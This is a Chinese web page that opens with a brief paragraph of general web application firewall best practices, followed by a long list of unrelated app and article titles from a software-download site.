黑名单方式永远不是最好的解决办法,但是相对与白名单效率很高,对于WAF供应商来说,最好的实践如下:1、开发者和管理员要注意WAF只能缓解攻击,并且针对已知的弱点的防护只是和源代码修复的方法打个时间差;2、要保持WAF的规则库更新;3、WAF可以配置参数限制,需要提供手册用于配置参数content-length最大最小长度,content-type类型,在入侵时进行告警;
4、如果WAF依据黑名单,要确保可以阻断已知的浏览器BUG,并且相应规则库要及时更新。
安卓手机QQ 4.7.2正式发布 显示在线好友的网络状态
瑞星安全随身WiFi怎么用 瑞星随身WiFi有何亮点以及使用方法
您的WiFi安全吗?让路由卫士来为您把关让它变得更快,更安全
大势至局域网共享文件管理软件详细记录服务器共享文件访问日志、保护共享文件安全
金山毒霸发布全新的V11新春版:杀毒速度更快/软件净化
TapTap V2.84.0 手机版
软天空游戏盒应用
软天空游戏大全App
菜鸡游戏不用排队版
软天空游戏盒子手机版
软天空游戏盒正式版
软天空游戏盒子app
软天空游戏盒子App
软天空游戏
菜鸡游戏App
玩GO
好游快爆软件
菜鸡游戏
葫芦侠App
第五人格盒子软件
快手大屏版
嘿咻漫画
快狐短视频
微信
钢琴助手手机版
钢琴助手最新版
2345游戏盒
北京交通app停车缴费
光环助手oppo版最新
精准天气预报几点几分
飞信
华为鸿蒙os2.0系统
messenger free
海棠书屋自由阅读的小说阅读网
QQ